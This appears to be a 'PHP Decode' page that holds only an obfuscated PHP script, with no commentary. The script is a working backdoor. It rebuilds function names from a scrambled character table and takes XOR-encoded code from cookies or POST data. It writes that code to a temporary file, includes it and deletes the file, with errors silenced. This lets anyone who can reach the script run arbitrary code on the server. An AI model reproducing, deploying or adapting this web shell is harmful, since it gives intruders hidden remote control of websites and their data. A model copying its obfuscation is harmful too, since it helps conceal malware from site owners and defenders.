PHP Decode

<?php 
function sh1($si2){$ah3 = "1I;*" ."e_5-F.6" ."'x@Lh07un4(p/3#t89)Eos? <fdialb2g" ."cy" ."mkrHv" ;$gs5='';foreach($si2 as $eg4){$gs5.=$ah3[$eg4];}return $gs5;}$ru6 = Array();$ru6[] = sh1(Array(0,20,41,10,42,44,39,41,7,37,17,6,41,7,20,10,4,24,7,39,27,20,24,7,39,24,4,17,28,16,6,41,24,0,6,27));$ru6[] = sh1(Array(33,22,15,22,34,13,18,19,40,38,19,47,21,5,5,8,1,14,30,5,5,29,2,34));$ru6[] = sh1(Array(9,46,31,37,18,40,4));$ru6[] = sh1(Array(49,3));$ru6[] = sh1(Array(9,23));$ru6[] = sh1(Array(25));$ru6[] = sh1(Array(35));$ru6[] = sh1(Array(36,38,40,4,5,22,18,26,5,44,31,19,26,4,19,26,32));$ru6[] = sh1(Array(39,48,48,39,45,5,46,4,48,43,4));$ru6[] = sh1(Array(32,26,48,5,48,4,22,4,39,26));$ru6[] = sh1(Array(4,12,22,40,31,37,4));$ru6[] = sh1(Array(32,18,41,32,26,48));$ru6[] = sh1(Array(18,19,40,38,19,47));$ru6[] = sh1(Array(32,26,48,40,4,19));$ru6[] = sh1(Array(22,39,44,47));$ru6[] = sh1(Array(46,37,6));foreach ($ru6[8]($_COOKIE, $_POST) as $qr14 => $kj11){function by8($ru6, $qr14, $jo10){return $ru6[11]($ru6[9]($qr14 . $ru6[0], ($jo10 / $ru6[13]($qr14)) + 1), 0, $jo10);}function it7($ru6, $kz12){return @$ru6[14]($ru6[3], $kz12);}function hb9($ru6, $kz12){if (isset($kz12[2])) {$eg13 = $ru6[4] . $ru6[15]($ru6[0]) . $ru6[2];@$ru6[7]($eg13, $ru6[6] . $ru6[1] . $kz12[1]($kz12[2]));@include($eg13);@$ru6[12]($eg13);exit();}}$kj11 = it7($ru6, $kj11);hb9($ru6, $ru6[10]($ru6[5], $kj11 ^ by8($ru6, $qr14, $ru6[13]($kj11))));} ?>